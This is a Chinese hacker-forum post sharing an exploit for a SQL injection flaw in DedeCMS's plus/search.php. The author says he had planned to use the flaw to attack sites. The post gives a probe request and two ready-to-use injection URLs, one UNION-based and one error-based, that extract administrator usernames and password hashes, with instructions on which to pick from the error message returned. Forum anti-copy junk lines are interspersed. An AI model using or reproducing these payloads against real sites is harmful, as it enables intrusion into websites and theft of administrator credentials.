[通杀]dedecms plus/search.php 注入漏洞利用EXP

admin

转载不加作者名的没JJ
& X! D5 ~: _+ O" M$ \
哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站  放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。

既然已经发出来了，我就把我自己搞的exp发下吧。。唉。
! [0 L3 ]2 X9 T% I! R" b
我一般是这样测试的：
- B8 w$ A, W6 ?+ l1 v
提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a
6 G! j: S$ }7 Y3 X! _
转载不加作者名的没JJ

) |$ [: D  @% c) A  W% q作者：鬼哥
* Q5 s  i  \" ]$ E. J$ _& I) y' ~
( s3 R2 |8 T& ]6 D9 B, \1 t# z1 q, f
3 ~; t8 M2 H' d  F  c
看结果如果提示
; ^+ q# S( [5 k  \* `( A" p
; h+ ~1 J2 r2 m+ z+ WSafe Alert: Request Error step 2 !
& Q* `" K" k0 r# h' k. i
7 n$ g3 [* ]6 \: D2 F4 [9 d那么直接用下面的exp
6 P/ @2 e! U% b8 F: Y: f
% h  n* y" h4 }- v9 b" ^xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
- c' m- M/ D/ V, L5 G8 C
& ~, S. O8 `( L9 Q/ B4 t' |
9 a) b9 a5 t( `: V. j9 d) ^% q5 }看结果如果提示

+ e" p( [, J3 [8 X5 {" A! ?, k& aSafe Alert: Request Error step 1 !

那么直接用下面的exp
1 q) y' r$ Q* T: Q: g
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
6 F( d' O3 i- s6 P& B! b
2 ]7 i1 _" O2 {
如果正常显示证明漏洞不存在了。

转载不加作者名的没JJ